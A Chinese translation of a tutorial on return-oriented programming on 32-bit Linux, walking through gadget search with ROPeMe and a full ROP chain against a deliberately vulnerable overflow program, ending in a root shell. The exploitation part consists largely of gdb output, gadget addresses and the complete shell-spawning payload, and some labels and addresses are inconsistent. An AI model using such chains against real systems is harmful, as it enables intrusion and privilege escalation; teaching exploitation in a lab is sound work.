Return-Oriented-Programming(ROP FTW)
Author: Saif El-Sherei From www.elsherei.com
译者:RealSys
0x00译者约定
1- ()内容为译者补充说明。
2-译者碍于自身水平所限,翻译产生的缺漏或者不当处,欢迎建议与指正。
3-原文地址:https://drive.google.com/file/d/0B3U0fxyeeTTdaGdQWGFvUFg5czQ/view
0x01 先导语
我决定在Linux开发上进行一些学习,就像我朋友说的一样:“当你认为掌握某项技能时,可以开始尝试去教授别人。(用以检验自己)”,因此我觉得把它用文字的方式记录下是一件非常不错的事情。这是我第一次尝试写文档。这篇文档是我对于ROP的理解。我的理解可能并不是很完善,因此我期待来自读者的建议以及修正。我希望这篇文档能够帮助你,就像它帮助我一样。这篇文档仅仅用于教育方面。
请注意,这篇文档中提到的内存地址很有可能与你的系统的情况是不一样的。
0x02 什么是Return Oriented Programming?
在我们上一篇文档中,我们探究了ret2libc(Return-to-Libc)。其中一个防御ret2libc的手段就是将函数从C库中移除(例如编译C库时,并不把System函数编译进去)。ROP并没有这样的弱点,事实上,我们并不需要通过调用函数的方式去构造ROP攻击。ROP被用于对抗W^X,也就是堆栈保护,嗯。。。就是不允许在栈中执行代码(常规的栈溢出手段就是将需要执行的Shellcode溢出到栈或者堆的空间里,再通过修改栈中某一字节数据控制EIP寄存器,实现跳转执行Shellcode)。
ROP的概念虽然简单但是非常的狡猾。区别于ret2libc,我们将利用任意一个当前程序链接的二进制代码或者动态链接库的一小段指令片段(汇编指令),我们将之称之为小工具(gadget)。
Gadget分为有意的工具和无意两种情况。有意的Gadget指的是所利用的指令片段是开发者有意识这么构成的;对于无意的Gadget,你可以推测这个指令片段的产生并非开发者的本意。
什么!!!怎么会产生无意识构成的指令片段?很好,我们来看一个句子“the article”,这个作者想表达的是”the article”,但是他并没有想要包含“heart”这个单词,但是他确实做到了。
基本上,我们需要做的就是用这样的ROP Gadget的首地址代替C库中函数的首地址(ret2libc即通过将EIP寄存器指向某个C库函数,达到跳转执行代码的手段<跳过了刚刚提到的堆栈保护,执行的代码并不在堆栈内,而在代码段内>)。
0x03 什么是ROP Gadgets?
ROP Gadget是一段以汇编指令”ret”(二进制对应的是”c3”)结尾的一小段指令片段。组合这些Gadget,将允许我们实现某些行为,并且在最后形成我们的攻击,我们将在下面的文档中见到它们。
ROP Gadget不得不以指令“ret”作为结尾,用以保证能够执行多段的指令片段,因此我们将之称之为面向返回(Return Oriented)。
0x04 应该怎样寻找这些Gadget呢?
以下是一个用于寻找Gadget的算法:
1-在二进制中寻找所有内容是“c3”的字节
2-如果前面的字节是有意义指令,我们就往前去逐个查看。将最大数量能构成有效指令片段的字节反转。*
3-接着将从二进制和动态链接库中找到的这些指令片段保存下来。
以上就是寻找Gadget的理论。有很多种工具能够帮助我们找到Gadget,我们将在之后演示这些工具。
0x05 我们可以用ROP Gadget做什么?
有很多事情我们可以通过Gadget完成。最基本的,我们可以执行任意我们找到的正确的指令片段(以“ret”结尾)。我们将简要的说明在这些指令片段中有用的Gadget。
0x0501载入一个常数到寄存器
载入一个常数到寄存器即保存一个值到栈中,在之后通过POP指令应用它。
POP eax; ret;
这段代码将从栈种pop(弹出)一个值到eax寄存器中,接着返回栈顶保存的地址(ret其实等于pop eip; add esp, 4;)。
样例:
(栈的第一个字节是Gadget的首地址<即需要控制EIP寄存器指向的地址>,第二个则是需要保存到eax寄存器中的值,第三个则是下一个Gadget的首地址,为什么这样构造栈能够达到效果,请读者自己思考)
当返回地址被Gadget的地址覆盖后,程序将返回到Gadget的指令片段,接着将deadbeef弹出到eax中,然后通过“ret”将返回到下一个Gadget.
0x0502从内存地址中载入值
样例指令片段mov ecx, [eax]; ret;,允许我们从内存地址中载入值。
将位于eax保存的地址中的值移动到ecx中。
0x0503存储值到内存地址中
将寄存器的值存储到内存某个位置中。
mov [eax], ecx; ret;
将ecx中的值存储到eax内保存的内存地址中。
0x0504算术操作
包括加,减,乘,或,与的算术方法。并且将帮助我们分配执行一个有用的Gadget,就像你将要看到的。
add eax, 0x0b; ret;即eax = eax + 0x0b
xor edx, edx; ret;即edx = 0
0x0505系统调用(Syscall)
“ret”跟着一个Syscall的指令,将允许我们执行一个内核中断(Kernel Interrupt)。Syscall的Gadget如下:
- int 0x80; ret;
- call gs:[0x10]; ret;
0x0506避免使用的Gadget
一些最好避免使用的Gadget。
- Gadget基本上以leave; ret;结尾,这样的Gadget会pop ebp(改变栈底),这将会搞乱的我们的栈帧。
-以pop ebp; ret;结尾的Gadget,也将会搞乱的我们的栈帧。
一些时候这些Gadget总体上并不会影响到我们的ROP shellcode的执行。这取决于我们的执行流和改变栈底指针是否会打断ROP shellcode的执行。
0x06 利用简单的缓冲区溢出构造ROP
0x0601体系:
我们将要利用的程序。
#include <stdio.h>
int main(int argc, char *argv[]) {
char buf[256];
memcpy(buf, argv[1], strlen(argv[1]));
printf(buf);
}
我们将使用“fno-stack-protector-boundary”编译它,关闭ASLR并且测试它是否可以正常工作。
# echo 0 > /proc/sys/kernel/randomize_va_space
# gcc -mpreferred-stack-boundary=2 so3.c -o rop2
so3.c: In function ‘main’:
so3.c:6:2: warning: incompatible implicit declaration of built-in function ‘memcpy’ *enabled by default+so3.c:6:22: warning: incompatible implicit declaration of built-in function ‘strlen’ *enabled by default+
# ./rop2 `python -c 'print "A"*260'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAF���
# gdb -q rop2
Reading symbols from /root/Desktop/tuts/so/rop2...(no debugging symbols found)...done.
(gdb) r `python -c 'print "A"*260+"B"*4'`
Starting program: /root/Desktop/tuts/so/rop2 `python -c 'print "A"*260+"B"*4'`
Program received signal SIGSEGV, Segmentation fault.0x42424242 in ?? ()
(gdb)
如同你在上面看到的,我们成功地在第260字节的位置覆盖了保存的返回地址。
0x0602工具:
我们将会用到VNSecurity的一个叫作ROPeme来帮助我们在C库中寻找ROP Gadget。可以在以下链接中找到这个工具和关于使用它的演示:http://www.vnsecurity.net/2010/08/ropeme-rop-exploit-made-easy/。
0x0603上:
首先我们先看看这个二进制链接了哪些动态链接库。
有两种方法可以做到这件事。我们可以使用gdb在main中设置断点,运行它,然后使用”info files”的指令去查看它链接哪些动态链接库,如下。
(gdb) b *main
Breakpoint 1 at 0x804847c
(gdb) r aaaa
The program being debugged has been started already.Start it from the beginning? (y or n) y
Starting program: /root/Desktop/tuts/so/rop2 aaaa
Breakpoint 1, 0x0804847c in main ()
(gdb) info files
Symbols from "/root/Desktop/tuts/so/rop2".
Unix child process:
Using the running image of child process 28344.
While running this, GDB does not access memory from...
Local exec file:
`/root/Desktop/tuts/so/rop2', file type elf32-i386.Entry point: 0x8048390
0x08048134 - 0x08048147 is .interp
---snipped
0x08049704 - 0x08049708 is .bss
0xb7fe2114 - 0xb7fe2138 is .note.gnu.build-id in /lib/ld-linux.so.2
---snipped---
0xb7fc29a0 - 0xb7fc5978 is .bss in /lib/i386-linux-gnu/i686/cmov/libc.so.6
以上粗体高亮的文件就是二进制文件”rop2”链接的动态链接库。
第二种方法是通过“/proc/pid/maps”;我们运行程序直到触发了main中的断点,通过这个终端我们获取到了这个二进制程序的pid(进程号),接着获取进程的映射图,如下。
(gdb) shell
root@kali:~/Desktop/tuts/so# ps -aux | grep rop2
warning: bad ps syntax, perhaps a bogus '-'?
See http://gitorious.org/procps/procps/blobs/master/Documentation/FAQroot 28117 0.0 0.3 13624 7748 pts/2 S+ 15:57 0:00 gdb -q rop2
root 28119 0.0 0.0 1704 252 pts/2 t 15:57 0:00 /root/Desktop/tuts/so/rop2
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
root 28341 0.0 0.3 13548 7552 pts/6 S 16:24 0:00 gdb -q rop2
root 28344 0.0 0.0 1700 244 pts/6 t 16:24 0:00 /root/Desktop/tuts/so/rop2 aaaa
root 28392 0.0 0.0 3484 768 pts/6 S+ 16:27 0:00 grep rop2
root@kali:~/Desktop/tuts/so# cat /proc/28119/maps
08048000-08049000 r-xp 00000000 08:01 548883 /root/Desktop/tuts/so/rop2 (deleted)
---snipped---
b7e63000-b7fbf000 r-xp 00000000 08:01 1311258 /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
b7fbf000-b7fc0000 ---p 0015c000 08:01 1311258 /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
b7fc0000-b7fc2000 r--p 0015c000 08:01 1311258 /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
b7fc2000-b7fc3000 rw-p 0015e000 08:01 1311258 /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
---snipped---
b7fff000-b8000000 rw-p 0001c000 08:01 1311294 /lib/i386-linux-gnu/ld-2.13.so
bffdf000-c0000000 rw-p 00000000 00:00 0 [stack]
b7fff000-b8000000 rw-p 0001c000 08:01 1311294 /lib/i386-linux-gnu/ld-2.13.so
bffdf000-c0000000 rw-p 00000000 00:00 0 [stack]
root@kali:~/Desktop/tuts/so# exit
(gdb)
我偏爱第二种方法,因为我们将需要用到这里的基地址。用于计算我们找到的Gadget的真实地址,我将会在之后演示这个过程。
好的,让我们开始演示吧。
0x0604关于ropeme的简单介绍
我们首先使用“ropeme”包中的一个叫作“ropshell.py”的有效脚本。我们运行它,并且查看它的帮助文档。
root@kali:~/Desktop/tuts/so/ropeme# ./ropshell.py
Simple ROP interactive shell: [generate, load, search] gadgets
ROPeMe> help
Available commands: type help for detail
generate Generate ROP gadgets for binary
load Load ROP gadgets from file
search Search ROP gadgets
shell Run external shell commands
^D Exit
ROPeMe>
我们接着使用生成方法从二进制或者动态链接库中生成Gadget。我们将用到位于“/lib/i386-linux-gnu/i686/cmov/libc-2.13.so”的“libc-2.13.so”这个文件,已经在上面我们获取链接的动态链接库中提到了。
ROPeMe> generate /lib/i386-linux-gnu/i686/cmov/libc-2.13.so 4
Generating gadgets for /lib/i386-linux-gnu/i686/cmov/libc-2.13.so with backward depth=4
It may take few minutes depends on the depth and file size...
Processing code block 1/2
Processing code block 2/2
Generated 10915 gadgets
Dumping asm gadgets to file: libc-2.13.so.ggt ...
OK
ROPeMe>
生成命令后面的数字“4”代表查找的深度。上图表示生成是成功的。
我们接着搜索我们想要找的Gadget通过search方法。
ROPeMe> search pop ?
Searching for ROP gadget: pop ? with constraints: []0x29d1cL: pop ds ;;
0x29d2fL: pop ds ;;
0x29fd6L: pop ds ;;
---snipped---
0x387cL: pop esp ;;
0x9dad0L: pop esp ;;
--More-- (24/28)
0x10eab9L: pop esp ;;
ROPeMe>
在第一个演示中,我们搜索任意的pop指令。“?”结尾代表下一条指令必须是”ret”。这方法可以用于搜索多条指令,像“pop ? mov ?”搜索的是“pop r32; mov; ret;”这样的指令片段(r32泛指32位寄存器)。
ROPeMe> search pop eax %
Searching for ROP gadget: pop eax % with constraints: []
0x189a4L: pop eax ; add [esi] eax ; add [ebx+0x5d5b08c4] al ;;
0x61c42L: pop eax ; mov [ecx+0xb8] edx ; pop ebx ; pop ebp ;;
---snipped---
0xd8f31L: pop eax ;;
0xd8f52L: pop eax ;;
ROPeMe>
在第二个演示中,我们看到我们指定了寄存器并且搜索以“%”结尾,这意味着后面可以跟着任意精确数量的指令。并且可以“ret“,”leave;ret“,”pop ebp; ret” 这些指令片段结尾。
0x0605利用
现在我要给你第一条也是最重要的一条忠告,你必须为你想要做的事情做好计划,列出一二三四,按顺序实现这个计划,就像以下我的计划一样。我们假设想要执行“execve(“/bin/sh”,0,0) ”。
如你所知,linux系统调用参数分别放在ebx,ecx,edx,esi,edi寄存器中。因此,我们想要将字符串首地址载入ebx寄存器,argp数组的指针载入ecx寄存器,envp数组的指针载入edx寄存器。并且将调用这个函数的数字写入eax寄存器。
你也必须知道“execv()”的系统调用数字是“11”或者”0xb”。
(Linux系统调用的方式是发起一个内核中断,这时候内核会从eax寄存器读出需要调用函数,有一个对应的函数编号,参数则是从上述其他的五个寄存器中读出)
我们可以在“/usr/include/i386-linux-gnu/asm/unistd_32.h “找到linux系统调用数字。“unistd_32.h”是x86架构系统调用的头文件。
root@kali:~/Desktop/tuts/so# cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep execve
#define __NR_execve 11
root@kali:~/Desktop/tuts/so#
现在我们来制定计划。
1-清零eax寄存器
2-将argp数组指针放置到ecx寄存器
3-将envp数组指针放置到edx寄存器
4-将“/bin/sh”字符串的首地址放置到ebx寄存器中
5-将eax寄存器的值设置为0xb
6-执行系统调用
以上就是我的计划,我们一起来看看我们要怎样应用ROP Gadget完成它。
首先,我们搜索xor eax, eax; ret;的指令来实现清零eax寄存器。
ROPeMe> search xor eax eax ?
Searching for ROP gadget: xor eax eax ? with constraints: []
0x7f448L: xor eax eax ; leave ;;
0x10b090L: xor eax eax ; leave ;;
0x796bfL: xor eax eax ; ret ;;
ROPeMe>
以上加粗的地址就是Gadget在“lib-2.13.c”文件中的偏移地址。因此我们通过将这个偏移与动态链接库的基地址相加获取真实地址。上面有提到,这个动态链接库的基地址就是“0xb7e63000”。
0x796bf+ 0xb7e63000 = 0xB7EDC6BF
因此,“xor eax, eax; ret;”Gadget的真实地址就是“0xB7EDC6BF”。
现在,我们需要保存字符串“/bin/sh”到内存的任意位置,并且将首地址载入ebx寄存器。
让我们一步一步来。首先我们先要查找一个内存位置写入,最好的选择是.data段。(.data段详见elf文件格式)
root@kali:~/Desktop/tuts/so# objdump -D rop2 | grep data
Disassembly of section .rodata:
Disassembly of section .data:
080496fc <__data_start>:
.data块的起始地址是0x080496fc,我们也可以通过“gdb”的“info files”命令去获取它。
(gdb) info files
Symbols from "/root/Desktop/tuts/so/rop2".Unix child process:
Using the running image of child process 28344.
While running this, GDB does not access memory from...
Local exec file:
`/root/Desktop/tuts/so/rop2', file type elf32-i386.
Entry point: 0x8048390
0x08048134 - 0x08048147 is .interp
---snipped---
0x080496d8 - 0x080496dc is .got
0x080496dc - 0x080496fc is .got.plt
0x080496fc - 0x08049704 is .data
---snipped---
(gdb)
有一个这样的问题,我们应该把数据写到.data块的基址+4字节还是+8字节的位置呢?0x080496fc+4 =0x08049700。因为在我们的溢出缓冲区中不能出现NULL字符(即0x00在输入时会引发截断,导致shellcode不完整),我们只能选择另外一个地址0x08049704。
好的,现在我们需要理解将字符串”/bin/sh”放入.data块的起始地址的方式。
我们需要将字符串切割为4字节的块,因此我们将拥有“/bin”和“/sh”两个块。但是第二块仅仅只有3个字节,第4个字节将为NULL,这可能会影响到程序的执行。因此我们将在第二个块添加一个前斜线,就像“//sh”,这并不会影响到“/bin/sh”命令的执行。
因此,我们的两个部分就是”/bin”和”//sh”。如上所言,通过“mov [r32], r32; ret;”指令片段,我们可以载入这两部分到内存中。但是首先我们需要存储这些常量到寄存器中,通过“pop r32; ret;”指令。
我们首先需要搜索mov指令,然后我们就能够知道我们要使用哪些寄存器的pop指令。
ROPeMe> search mov [ eax %
---snipped---
0x29ecfL: mov [eax] ecx ;;
我们找到了这个mov的指令片段,并且真实地址为0x29exf+0xb7e63000 = 0xB7E8CECF。
基于上面的指令片段,我们需要pop第一部分(“/bin”)到ecx寄存器,且将内存地址写到eax寄存器。因为,前面的Gadget的功能是从ecx寄存器中转移值到eax寄存器中存储的地址所指向的内存位置。
现在,我们需要找一个”pop ecx; ret;”的Gadget,用于将第一部分放入ecx寄存器当中。还需要一个“pop eax; retr;”的Gadget,我们同样想将地址写入eax寄存器中。
让我们来寻找”pop ecx; ret;”的Gadget。
ROPeMe> search pop ecx %
Searching for ROP gadget: pop ecx % with constraints: []
0x3ca61L: pop ecx ; add ecx 0xa ; mov [edx] ecx ;;
0xd8f30L: pop ecx ; pop eax ;;
0xd8f51L: pop ecx ; pop eax ;;
0xe2c02L: pop ecx ; pop ebx ;;
0x2a6ebL: pop ecx ; pop edx ;;
ROPeMe>
哇!我们真幸运,我们竟然找到一个执行“pop ecx;”接着执行“pop eax;”然后“ret;”的Gadget,这恰好是我们想要的。让我们为这个棒棒哒Gadget计算它的真实地址叭。
0xd8f30+0xb7e63000 = 0xB7F3BF30
接下来,我们需要找到一个将NULL字节(0x00)写进内存的方法。我们知道在我们的溢出缓冲区内不能够有NULL。因此,我们不得不将一个寄存器清零,并且使用载入值到内存的Gadget去拷贝这个寄存器的值到内存中。在下面,我能够找到这个唯一的Gadget。
因为我已经有了一个“xor eax, eax; ret;”的Gadget,我只需要搜索“mov [r32], eax; ret;”的Gadget,这就是我找到的。
ROPeMe> search mov % eax
Searching for ROP gadget: mov % eax with constraints: []
0xf0cffL: mov [0x810001e9] eax ;;
0xdc5ffL: mov [0x81000330] eax ;;
0x2a71cL: mov [edx+0x14] ecx ; mov [edx+0xc] ebp ; mov [edx+0x18] eax ;;
0x2a722L: mov [edx+0x18] eax ;;
这个指令将eax寄存器的值转移到edx寄存器储存的地址加上0x18所指向的内存位置。因此,如果你不知道该如何去做,我们只需要简单的把我们想要的地址减去0x18。不用担心,当我们开始解析我们的shellcode的结构时,这会更加简单。
现在,我们还是先来计算这个Gadget的真实地址吧。
0x2a722+0xb7e63000 = 0xB7E8D722
现在,我们需要寻找“pop ebx”,“pop ecx”,和“pop edx”的Gadget将我们的参数载入相应的寄存器。
0x78af4L: pop ebx ;; 0x78af4+0xb7e63000 = 0xB7EDBAF4
0x2a6ebL: pop ecx ; pop edx ;; 0x2a6eb+0xb7e63000 = 0xB7E8D6EB
这个Gadget将要被用于将系统调用的数字放入eax寄存器中,我们需要将0xb放入eax寄存器。如果我们已经将eax寄存器清零了,我们只需要用算术操作的Gadget,将eax寄存器加上0xb,这就是我找到的。
0x7faa8L: add eax 0xb ;; 0x7faa8+0xb7e63000 = 0xB7EE2AA8
我们并没有找到最后的Gadget,也就是系统调用“int 0x80”,但是我们找到了另一个内核系统调用gd:[0x10]。
0xa10f5L: call gs:[0x10] ;; 0xa10f5 + 0xb7e63000 = 0xB7F040F5
到现在为止,我们获取到了所有我们需要的Gadget,让我们开始我们的利用吧。我们知道返回地址在260字节之后被覆盖。让我们先将我们的Gadget放到一个漂亮的表格中,我们获取到了七组信息。
我们将要写的地址是.data块中的0x08049704。
因此我们的ROP链应该是这样的。
pop ecx; pop eax;;ret + “/bin”+ address to write to -> mov [eax],ecx; ret -> xor eax,eax;ret -> pop edx;ret -> address to write too – 18 -> mov [edx+18],eax;ret -> pop ecx;pop edx; ret + address of argp array + address of envp array -> pop ebx;ret + address of string “/bin//sh” -> add eax,0xb;ret -> call gs:[0x10].
我们的溢出缓冲区应该这么构造。
“A”*260
+ 0xB7F3BF30 pop ecx ; pop eax; ret
+ “/bin” string to be popped into ecx
+ 0x08049704 address to be popped into eax to write “/bin” to
+ 0xB7E8CECF mov [ecx],eax; ret
+ 0xB7F3BF30 pop ecx ; pop eax; ret
+ “//sh” string to be popped into ecx
+ 0x08049708 address to be popped into eax to write “//sh” to “0x0804971c +4”
+ 0xB7E8CECF mov [ecx],eax; ret
+ 0xB7EDC6BF xor eax,eax; ret
+ 0xB7E64A9E pop edx;ret
+ 0x080496f4 address to write NULL bytes to “0x08049708+4-18”
+ 0xB7E8D722 mov [edx+0x18] eax ;ret
+ 0xB7E8D6EB pop ecx; pop edx; ret
+ 0x08049712 address of argp array to be loaded into ecx pointing to NULL bytes.
+ 0x08049712 address of envp array to be loaded into edx pointing to NULL bytes.
+ 0xB7EDBAF4 pop ebx ; ret
+ 0x08049704 pointer of string “/bin//sh”
+ 0xB7EE2AA8 add eax 0xb ;ret
+ 0xB7F040F5 call gs:[0x10] ; ret
现在,让我们把它们放在一起,并且看看shell中是如何显示的。不要忘了我们使用的是小端的架构,因此我们将不得不输入小端格式的地址。
./rop2 `python -c 'print "A"*260+"\x30\xbf\xf3\xb7"+"/bin"+"\x04\x97\x04\x08"+"\xcf\xce\xe8\xb7"+"\x30\xbf\xf3\xb7"+"//sh"+"\x08\x97\x04\x08"+"\xcf\xce\xe8\xb7"+"\xbf\xc6\xed\xb7"+"\x9e\x4a\xe6\xb7"+"\xf4\x96\x04\x08"+"\x22\xd7\xe8\xb7"+"\xeb\xd6\xe8\xb7"+"\x12\x97\x04\x08"+"\x12\x97\x04\x08"+"\xf4\xba\xed\xb7"+"\x04\x97\x04\x08"+"\xa8\x2a\xee\xb7"+"\xf5\x40\xf0\xb7"'`
让我们来尝试执行一下。
root@kali:~/Desktop/tuts/so# ./rop2 `python -c 'print "A"*260+"\x30\xbf\xf3\xb7"+"/bin"+"\x04\x97\x04\x08"+"\xcf\xce\xe8\xb7"+"\x30\xbf\xf3\xb7"+"//sh"+"\x08\x97\x04\x08"+"\xcf\xce\xe8\xb7"+"\xbf\xc6\xed\xb7"+"\x9e\x4a\xe6\xb7"+"\xf4\x96\x04\x08"+"\x22\xd7\xe8\xb7"+"\xeb\xd6\xe8\xb7"+"\x12\x97\x04\x08"+"\x12\x97\x04\x08"+"\xf4\xba\xed\xb7"+"\x04\x97\x04\x08"+"\xa8\x2a\xee\xb7"+"\xf5\x40\xf0\xb7"'`
# id
uid=0(root) gid=0(root) groups=0(root)
# ls
ROPgadget a.out core g get getenv.c rop rop2 rop3 ropeme ropeme-bhus10 ropeme-bhus10.tar rt rt2 rt2.c s so so.c so2 so2.c so3.c wrpr wrpr.c
#
我们成功得利用ROP链弹出了我们的shell。
0x0606处理额外的指令
有些时候,我们并搜索不到合适的Gadget,Gadget有时候会附带额外的指令或者其它什么鬼,让我们看一个例子。
例如,如果我们的第一个Gadget“pop ecx; pop eax;;”是“pop ecx; pop eax; pop edi;;”,我们就要额外得输入4个填充字节到我们的溢出缓冲区,用来pop到edi寄存器,因此我们的ROP链的第一个和第二个Gadget将修改为:
`python -c 'print "A"*260+"\x30\xbf\xf3\xb7"+"/bin"+"\x04\x97\x04\x08"+”SAIF”+"\xcf\xce\xe8\xb7"+"\x30\xbf\xf3\xb7"+"//sh"+"\x08\x97\x04\x08"+”SAIF”+"\xcf\xce\xe8\xb7"+"\xbf\xc6\xed\xb7”....
代替了:
`python -c 'print "A"*260+"\x30\xbf\xf3\xb7"+"/bin"+"\x04\x97\x04\x08"+"\xcf\xce\xe8\xb7"+"\x30\xbf\xf3\xb7"+"//sh"+"\x08\x97\x04\x08"+"\xcf\xce\xe8\xb7"+"\xbf\xc6\xed\xb7”....
上面粗体的“SALF”是4字节的填充,用来pop到edi寄存器中。在这个情况下,将不会影响到我们ROP链,并且它将正常的继续执行。
例子中是能够简单处理的指令,有时候在这些情况下,你将要面对mov指令或者算术指令,你必须小心谨慎防止ROP链的执行流被中断。
0x07参考
The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86) by Hovav Shacha.
Payload Already Inside: Payload Already Inside: Data re-use for ROP Exploits Data re-use for ROP Exploits by Long Le “vnsecurity.net”.